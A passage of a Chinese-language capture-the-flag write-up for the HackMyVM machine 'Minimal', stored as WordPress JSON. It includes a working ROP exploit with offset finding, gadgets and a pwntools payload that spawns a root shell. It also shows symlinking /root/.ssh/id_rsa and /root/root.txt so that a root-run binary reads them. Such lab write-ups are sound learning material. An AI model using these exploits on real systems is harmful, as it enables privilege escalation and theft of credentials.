href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156659.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156659.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240416172210294\" \/><\/div><\/p>\n<pre><code class=\"language-apl\">bacon pancakes<\/code><\/pre>\n<h4>\u7b2c\u4e09\u4e2a<\/h4>\n<p>\u770b\u90a3\u4e2a<code>secret_q3<\/code>\uff0c\u50cf\u662f\u5728\u8fdb\u884cXOR\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156660.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156660.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240416172710092\" \/><\/div><\/p>\n<p>\u5f97\u5230\u7ed3\u679c\uff1a<\/p>\n<pre><code class=\"language-apl\">nvim with plugins<\/code><\/pre>\n<h3>\u65b9\u6cd5\u4e00\uff1a\u6784\u9020ROP\u94fe<\/h3>\n<p>\u672c\u9898\u4e0d\u5b58\u5728python\u65e0\u8bba\u662f2\u8fd8\u662f3\uff0c\u90fd\u6ca1\u6709\uff0c\u6211\u4eec\u5982\u679c\u60f3\u8981\u62ffpwntool\u53bb\u6253\uff0c\u53ea\u80fd\u9009\u62e9\u5c06\u5176\u6620\u5c04\u5230\u67d0\u4e2a\u7aef\u53e3\uff0c\u7136\u540e\u4ece\u672c\u5730\u4e3b\u673a\u53bb\u6253\uff1a<\/p>\n<pre><code class=\"language-bash\"> socat tcp-l:\u7aef\u53e3\u53f7\uff0cfork exec:\u7a0b\u5e8f\u4f4d\u7f6e\uff0creuseaddr\n \u4f8b\u5982\uff1a\n socat tcp-l:6666,fork exec:.\/pwn,reuseaddr<\/code><\/pre>\n<p>\u7136\u540e\u4f7f\u7528python\u53bb\u6253\uff01\u6211\u4eec\u5148\u4e0a\u4f20\u4e00\u4e2asocat\uff0c\u8d4b\u4e88\u5176\u6267\u884c\u6743\u9650\uff0c\u7136\u540e<\/p>\n<pre><code class=\"language-bash\">.\/socat TCP-LISTEN:8000 EXEC:&#039;sudo \/opt\/quiz\/shop&#039;<\/code><\/pre>\n<blockquote>\n<p><strong>\u6784\u9020ROP\u94fe\u662f\u6307\u5728\u6808\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u57fa\u7840\u4e0a\uff0c\u5229\u7528\u7a0b\u5e8f\u4e2d\u5df2\u6709\u7684\u5c0f\u7247\u6bb5\uff08gadgets\uff09\u6765\u6539\u53d8\u67d0\u4e9b\u5bc4\u5b58\u5668\u6216\u8005\u53d8\u91cf\u7684\u503c\uff0c\u4ece\u800c\u63a7\u5236\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u7a0b<\/strong>\u3002<\/p>\n<\/blockquote>\n<p>\u67e5\u770b\u4e00\u4e0b\u6587\u4ef6\u7684\u57fa\u7840\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/minimal]\n\u2514\u2500# file shop \nshop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=c12ae144027d5fe72a74c6af34ff0619064a699f, for GNU\/Linux 3.2.0, not stripped\n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/minimal]\n\u2514\u2500# pwn checksec shop \n[*] &#039;\/home\/kali\/temp\/minimal\/shop&#039;\n    Arch:     amd64-64-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x400000)<\/code><\/pre>\n<pre><code class=\"language-bash\">(remote) www-data@minimal:\/opt\/quiz$ cat \/proc\/sys\/kernel\/randomize_va_space \n2<\/code><\/pre>\n<p>\u8bf4\u660e\u5f00\u542f\u4e86<code>\u5730\u5740\u7a7a\u95f4\u5206\u5e03\u968f\u673a\u5316(ASLR)<\/code><\/p>\n<blockquote>\n<ul>\n<li>0\uff0c\u5173\u95ed ASLR\uff0c\u6ca1\u6709\u968f\u673a\u5316\u3002\u6808\u3001\u5806\u3001.so \u7684\u57fa\u5730\u5740\u6bcf\u6b21\u90fd\u76f8\u540c\u3002<\/li>\n<li>1\uff0c\u666e\u901a\u7684 ASLR\u3002\u6808\u57fa\u5730\u5740\u3001mmap \u57fa\u5730\u5740\u3001.so \u52a0\u8f7d\u57fa\u5730\u5740\u90fd\u5c06\u88ab\u968f\u673a\u5316\uff0c\u4f46\u662f\u5806\u57fa\u5730\u5740\u6ca1\u6709\u968f\u673a\u5316\u3002<\/li>\n<li>2\uff0c\u589e\u5f3a\u7684 ASLR\uff0c\u5728 1 \u7684\u57fa\u7840\u4e0a\uff0c\u589e\u52a0\u4e86\u5806\u57fa\u5730\u5740\u968f\u673a\u5316\u3002<\/li>\n<\/ul>\n<\/blockquote>\n<h4>\u5bfb\u627e\u504f\u79fb\u91cf<\/h4>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/minimal]\n\u2514\u2500$ sudo chmod +x shop         \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/minimal]\n\u2514\u2500$ gdb-peda shop\nReading symbols from shop...\n(No debugging symbols found in shop)\ngdb-peda$ pattern create 300\n&#039;AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&#039;\ngdb-peda$ run\nStarting program: \/home\/kali\/temp\/minimal\/shop \n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library &quot;\/lib\/x86_64-linux-gnu\/libthread_db.so.1&quot;.\nHey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.\nIf you get all the questions right, you win a teddy bear and if you don&#039;t, you win a teddy bear and if you don&#039;t, you win trash\nWhat is my favorite OS?\nAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\n[----------------------------------registers-----------------------------------]\nRAX: 0x0 \nRBX: 0x7fffffffe358 --&gt; 0x7fffffffe5f5 (&quot;\/home\/kali\/temp\/minimal\/shop&quot;)\nRCX: 0x7ffff7ec1ba0 (&lt;__GI___libc_write+16&gt;:    cmp    rax,0xfffffffffffff000)\nRDX: 0x0 \nRSI: 0x4052a0 (&quot;Nope!!\\n my favorite OS?\\nions right, you win a teddy bear and if you don&#039;t, you win a teddy bear and if you don&#039;t, you win trash\\n years.\\n&quot;)\nRDI: 0x7ffff7f9fa30 --&gt; 0x0 \nRBP: 0x41414e4141384141 (&#039;AA8AANAA&#039;)\nRSP: 0x7fffffffe208 (&quot;jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy&quot;)\nRIP: 0x40147d (&lt;question_1+120&gt;:        ret)\nR8 : 0x0 \nR9 : 0x410 \nR10: 0x7ffff7de2e80 --&gt; 0x10001a00007bf8 \nR11: 0x202 \nR12: 0x0 \nR13: 0x7fffffffe368 --&gt; 0x7fffffffe612 (&quot;SUDO_GID=1000&quot;)\nR14: 0x403e18 --&gt; 0x401200 (&lt;__do_global_dtors_aux&gt;:    endbr64)\nR15: 0x7ffff7ffd000 --&gt; 0x7ffff7ffe2c0 --&gt; 0x0\nEFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n   0x401472 &lt;question_1+109&gt;:   call   0x4010c0 &lt;puts@plt&gt;\n   0x401477 &lt;question_1+114&gt;:   mov    eax,0x0\n   0x40147c &lt;question_1+119&gt;:   leave\n=&gt; 0x40147d &lt;question_1+120&gt;:   ret\n   0x40147e &lt;question_2&gt;:       endbr64\n   0x401482 &lt;question_2+4&gt;:     push   rbp\n   0x401483 &lt;question_2+5&gt;:     mov    rbp,rsp\n   0x401486 &lt;question_2+8&gt;:     add    rsp,0xffffffffffffff80\n[------------------------------------stack-------------------------------------]\n0000| 0x7fffffffe208 (&quot;jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy&quot;)\n0008| 0x7fffffffe210 (&quot;AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy&quot;)\n0016| 0x7fffffffe218 (&quot;AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy&quot;)\n0024| 0x7fffffffe220 (&quot;RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy&quot;)\n0032| 0x7fffffffe228 (&quot;ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy&quot;)\n0040| 0x7fffffffe230 (&quot;AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy&quot;)\n0048| 0x7fffffffe238 (&quot;VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy&quot;)\n0056| 0x7fffffffe240 (&quot;AuAAXAAvAAYAAwAAZAAxAAy&quot;)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x000000000040147d in question_1 ()\ngdb-peda$ pattern offset 0x000000000040147d\n4199549 not found in pattern buffer\ngdb-peda$ pattern search 0x7fffffffe208\nRegisters contain pattern buffer:\nRBP+0 found at offset: 112\nRegisters point to pattern buffer:\n[RSP] --&gt; offset 120 - size ~79\nPattern buffer found at:\n0x004056b0 : offset    0 - size  300 ([heap])\n0x00007fffffffdf0f : offset   70 - size   17 ($sp + -0x2f9 [-191 dwords])\n0x00007fffffffe190 : offset    0 - size  199 ($sp + -0x78 [-30 dwords])\nReferences to pattern buffer found at:\n0x00007ffff7f9dab8 : 0x004056b0 (\/usr\/lib\/x86_64-linux-gnu\/libc.so.6)\n0x00007ffff7f9dac0 : 0x004056b0 (\/usr\/lib\/x86_64-linux-gnu\/libc.so.6)\n0x00007ffff7f9dac8 : 0x004056b0 (\/usr\/lib\/x86_64-linux-gnu\/libc.so.6)\n0x00007ffff7f9dad0 : 0x004056b0 (\/usr\/lib\/x86_64-linux-gnu\/libc.so.6)\n0x00007ffff7f9dad8 : 0x004056b0 (\/usr\/lib\/x86_64-linux-gnu\/libc.so.6)\n0x00007fffffffddc0 : 0x00007fffffffe190 ($sp + -0x448 [-274 dwords])\n0x00007fffffffddc8 : 0x00007fffffffe190 ($sp + -0x440 [-272 dwords])\n0x00007fffffffdde0 : 0x00007fffffffe190 ($sp + -0x428 [-266 dwords])<\/code><\/pre>\n<p>\u504f\u79fb\u91cf\u4e3a120\uff01<\/p>\n<h4>gadgets<\/h4>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/minimal]\n\u2514\u2500$ ropper --search &#039;pop rdi&#039; -f shop 2&gt;\/dev\/null\n\n0x00000000004015dd: pop rdi; ret;<\/code><\/pre>\n<h4>\u67e5\u770b\u7cfb\u7edf\u8c03\u7528<\/h4>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/minimal]\n\u2514\u2500$ objdump -D shop | grep system\n00000000004010f0 &lt;system@plt&gt;:\n  4010f4:       f2 ff 25 35 2f 00 00    bnd jmp *0x2f35(%rip)        # 404030 &lt;system@GLIBC_2.2.5&gt;\n  40124f:       e8 9c fe ff ff          call   4010f0 &lt;system@plt&gt;<\/code><\/pre>\n<h4>\u5bfb\u627esh\u5730\u5740<\/h4>\n<pre><code class=\"language-bash\">gdb-peda$ find sh\nSearching for &#039;sh&#039; in: None ranges\nFound 123 results, display max 123 items:\n                shop : 0x402070 --&gt; 0x786a70666873 (&#039;shfpjx&#039;)\n                shop : 0x4021f5 --&gt; 0x743b031b01006873 \n                shop : 0x403070 --&gt; 0x786a70666873 (&#039;shfpjx&#039;)\n                shop : 0x4031f5 --&gt; 0x743b031b01006873 \n              [heap] : 0x40531d (&quot;sh\\n years.\\n&quot;)<\/code><\/pre>\n<p>\u8fd9\u4fe9\u90fd\u662f<code>0x4021f5<\/code>\u548c<code>0x4031f5<\/code><\/p>\n<p>\u7136\u540e\u5c1d\u8bd5\u7f16\u5199payload:<\/p>\n<pre><code class=\"language-python\">from pwn import *\n\nr = remote(&#039;192.168.0.183&#039;, 8000)\n\njump = b&quot;A&quot;*120\nsystem_addr = p64(0x40124f)\npop_rdi = p64(0x4015dd)\nsh_addr = p64(0x4021f5)\n\npayload = jump + pop_rdi + sh_addr + system_addr \nr.sendline(payload)\nr.interactive()<\/code><\/pre>\n<p>\u7136\u540e\u8fd0\u884c\u62ff\u5230shell\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156661.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156661.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240416215553062\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u65b9\u6cd5\u4e8c\uff1a\u8f6f\u94fe\u63a5<\/h3>\n<p>\u53ef\u4ee5\u770b\u4e00\u4e0b<a href=\"https:\/\/www.bilibili.com\/video\/BV19m411d7kE\/?vd_source=8981ead94b755f367ac539f6ccd37f77\">\u7fa4\u4e3b\u5e08\u5085\u7684wp<\/a>\uff0c\u5f97\u5230\u4e09\u4e2a\u5bc6\u7801\u4e86\uff0c\u6211\u4eec\u76f4\u63a5\u8fdb\u884c\u8f6f\u94fe\u63a5\uff0c\u8bfb\u53d6\u6211\u4eec\u60f3\u8981\u7684\u5c31\u884c\u4e86\uff1a<\/p>\n<pre><code class=\"language-apl\">linux\nbacon pancakes\nnvim with plugins<\/code><\/pre>\n<p>\u56e0\u4e3a\u6211\u4eec\u662f<code>www-data<\/code>\u7528\u6237\uff0c\u6240\u4ee5\u5728html\u76ee\u5f55\u6211\u4eec\u5c31\u662fgod\uff01\u6240\u4ee5\u53ef\u4ee5\u521b\u5efa\u8f6f\u94fe\u63a5\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@minimal:\/$ pwd\n\/\n(remote) www-data@minimal:\/$ cd \/var\/www\/html\n(remote) www-data@minimal:\/var\/www\/html$ ls -la\ntotal 64\ndrwxr-xr-x 4 www-data www-data 4096 Apr 16 12:10 .\ndrwxr-xr-x 3 root     root     4096 Nov  1 21:59 ..\n-rw-rw-r-- 1 www-data www-data 2964 Nov  1 22:06 admin.php\n-rw-rw-r-- 1 www-data www-data  892 Nov  1 22:06 buy.php\n-rw-r--r-- 1 www-data www-data  355 Nov  1 22:06 config.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 imgs\n-rw-r--r-- 1 www-data www-data 2601 Nov  1 22:06 index.php\n-rw-r--r-- 1 www-data www-data 1836 Nov  1 22:06 login.php\n-rw-r--r-- 1 www-data www-data  321 Nov  1 22:06 logout.php\n-rw-r--r-- 1 www-data www-data 2221 Nov  1 22:06 register.php\n-rw-rw-r-- 1 www-data www-data 3621 Nov  1 22:06 reset_pass.php\n-rw-r--r-- 1 www-data www-data  111 Nov  1 22:06 restricted.php\n-rw-r--r-- 1 www-data www-data 3911 Apr 16 09:56 revershell.php\n-rw-r--r-- 1 www-data www-data   12 Nov  1 22:06 robots.txt\n-rw-rw-r-- 1 www-data www-data 2549 Nov  1 22:06 shop_cart.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 styles\n(remote) www-data@minimal:\/var\/www\/html$ ln -s \/root\/.ssh\/id_rsa prize.txt\n(remote) www-data@minimal:\/var\/www\/html$ ls -la  \ntotal 64\ndrwxr-xr-x 4 www-data www-data 4096 Apr 16 12:16 .\ndrwxr-xr-x 3 root     root     4096 Nov  1 21:59 ..\n-rw-rw-r-- 1 www-data www-data 2964 Nov  1 22:06 admin.php\n-rw-rw-r-- 1 www-data www-data  892 Nov  1 22:06 buy.php\n-rw-r--r-- 1 www-data www-data  355 Nov  1 22:06 config.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 imgs\n-rw-r--r-- 1 www-data www-data 2601 Nov  1 22:06 index.php\n-rw-r--r-- 1 www-data www-data 1836 Nov  1 22:06 login.php\n-rw-r--r-- 1 www-data www-data  321 Nov  1 22:06 logout.php\nlrwxrwxrwx 1 www-data www-data   17 Apr 16 12:16 prize.txt -&gt; \/root\/.ssh\/id_rsa\n-rw-r--r-- 1 www-data www-data 2221 Nov  1 22:06 register.php\n-rw-rw-r-- 1 www-data www-data 3621 Nov  1 22:06 reset_pass.php\n-rw-r--r-- 1 www-data www-data  111 Nov  1 22:06 restricted.php\n-rw-r--r-- 1 www-data www-data 3911 Apr 16 09:56 revershell.php\n-rw-r--r-- 1 www-data www-data   12 Nov  1 22:06 robots.txt\n-rw-rw-r-- 1 www-data www-data 2549 Nov  1 22:06 shop_cart.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 styles\n(remote) www-data@minimal:\/var\/www\/html$ sudo -l\nMatching Defaults entries for www-data on minimal:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin, use_pty\n\nUser www-data may run the following commands on minimal:\n    (root) NOPASSWD: \/opt\/quiz\/shop\n(remote) www-data@minimal:\/var\/www\/html$ sudo \/opt\/quiz\/shop\nHey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.\nIf you get all the questions right, you win a teddy bear and if you don&#039;t, you win a teddy bear and if you don&#039;t, you win trash\nWhat is my favorite OS?\nlinux\nCorrect!!\nWhat is my favorite food?\nbacon pancakes\nCorrect!!\nWhat is my favorite text editor?\nnvim with plugins\nCorrect!!\nUser name: \nSaving results .\ncat: .\/prize.txt: No such file or directory\n(remote) www-data@minimal:\/var\/www\/html$ ls\nadmin.php  config.php  index.php  logout.php  register.php    restricted.php  revershell.php  shop_cart.php\nbuy.php    imgs        login.php  prize.txt   reset_pass.php  results.txt     robots.txt      styles\n(remote) www-data@minimal:\/var\/www\/html$ ls -la\ntotal 68\ndrwxr-xr-x 4 www-data www-data 4096 Apr 16 12:16 .\ndrwxr-xr-x 3 root     root     4096 Nov  1 21:59 ..\n-rw-rw-r-- 1 www-data www-data 2964 Nov  1 22:06 admin.php\n-rw-rw-r-- 1 www-data www-data  892 Nov  1 22:06 buy.php\n-rw-r--r-- 1 www-data www-data  355 Nov  1 22:06 config.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 imgs\n-rw-r--r-- 1 www-data www-data 2601 Nov  1 22:06 index.php\n-rw-r--r-- 1 www-data www-data 1836 Nov  1 22:06 login.php\n-rw-r--r-- 1 www-data www-data  321 Nov  1 22:06 logout.php\nlrwxrwxrwx 1 www-data www-data   17 Apr 16 12:16 prize.txt -&gt; \/root\/.ssh\/id_rsa\n-rw-r--r-- 1 www-data www-data 2221 Nov  1 22:06 register.php\n-rw-rw-r-- 1 www-data www-data 3621 Nov  1 22:06 reset_pass.php\n-rw-r--r-- 1 www-data www-data  111 Nov  1 22:06 restricted.php\n-rw-r--r-- 1 root     root       18 Apr 16 12:16 results.txt\n-rw-r--r-- 1 www-data www-data 3911 Apr 16 09:56 revershell.php\n-rw-r--r-- 1 www-data www-data   12 Nov  1 22:06 robots.txt\n-rw-rw-r-- 1 www-data www-data 2549 Nov  1 22:06 shop_cart.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov  1 22:06 styles\n(remote) www-data@minimal:\/var\/www\/html$ rm prize.txt \n(remote) www-data@minimal:\/var\/www\/html$ ln -s \/root\/root.txt prize.txt\n(remote) www-data@minimal:\/var\/www\/html$ sudo \/opt\/quiz\/shop\nHey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.\nIf you get all the questions right, you win a teddy bear and if you don&#039;t, you win a teddy bear and if you don&#039;t, you win trash\nWhat is my favorite OS?\nlinux\nCorrect!!\nWhat is my favorite food?\nbacon pancakes\nCorrect!!\nWhat is my favorite text editor?\nnvim with plugins\nCorrect!!\nUser name: \nSaving results .\nHMV{never_gonna_ROP_you_down}<\/code><\/pre>\n<p>\u5f88\u9057\u61be\uff0c\u4e0d\u5b58\u5728<code>id_rsa<\/code>\uff0c\u6240\u4ee5\u8fd9\u91cc\u6682\u65f6\u641e\u4e0d\u51fa\u6765rootshell\uff0c\u53ea\u80fd\u62ff\u5230flag\u3002<\/p>\n<h2>\u989d\u5916\u6536\u83b7<\/h2>\n<pre><code class=\"language-bash\">script \/dev\/null -c bash\nctrl+z\nstty raw -echo;fg\nreset xterm\nexport XTERM=xterm-256color\nstty rows 55 columns 209 \n# este ultimo paso es para que tengo colores\nsource \/etc\/skel\/.bashrc<\/code><\/pre>\n<p><a href=\"https:\/\/lukaspinto.github.io\/posts\/HVM-Minimal\/\">https:\/\/lukaspinto.github.io\/posts\/HVM-Minimal\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Minimal \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf nmap -sCV -p 1-65535 172.20.10.6 PORT [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,19],"tags":[],"class_list":["post-574","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-pwn"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/574","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=574"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/574\/revisions"}],"predecessor-version":[{"id":576,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/574\/revisions\/576"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=574"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=574"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=574"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}